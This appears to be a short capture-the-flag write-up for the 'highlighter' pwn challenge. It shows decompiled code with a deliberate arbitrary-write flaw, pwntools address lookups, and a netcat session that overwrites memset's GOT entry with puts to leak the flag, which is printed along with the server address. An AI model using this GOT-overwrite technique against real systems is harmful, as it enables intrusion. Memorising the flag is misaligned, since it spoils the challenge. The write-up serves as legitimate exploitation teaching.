Highlighter
2 minutes to read
We are given a binary called highlighter
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we use Ghidra, we will see the decompiled source code of the main
function:
int main() {
int __fd;
long in_FS_OFFSET;
undefined8 *where;
undefined8 what;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setbuf(stdin, (char *) 0x0);
setbuf(stdout, (char *) 0x0);
__fd = open("flag.txt", 0);
read(__fd, flag, 100);
puts("Write what?");
__isoc99_scanf("%ld%*c", &what);
puts("Where?");
__isoc99_scanf("%ld%*c", &where);
*where = what;
memset(flag, 0, 100);
puts("Bye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Basically, we have a way to write a value we want into the address we specify (that’s known as a write-what-where primitive or arbitrary write primitive). In order to get the flag, notice the use of memset
at the end. Using the arbitrary write primitive, we can modify the Global Offset Table (GOT), so that memset
points to puts
at the Procedure Linkage Table (PLT). This way, we are tricking the binary to execute puts(flag, 0, 100)
instead of memset(flag, 0, 100)
.
We can find the values we need with pwntools
:
$ python3 -q
>>> from pwn import ELF
>>> elf = ELF('highlighter', checksec=False)
>>> elf.got.memset
4210736
>>> elf.plt.puts
4198564
>>> exit()
So, let’s do it (this time, we need to enter the values in decimal format):
$ nc chal.imaginaryctf.org 8091
Write what?
4198564
Where?
4210736
ictf{writing_is_hard_but_satisfying_sometimes}
Bye!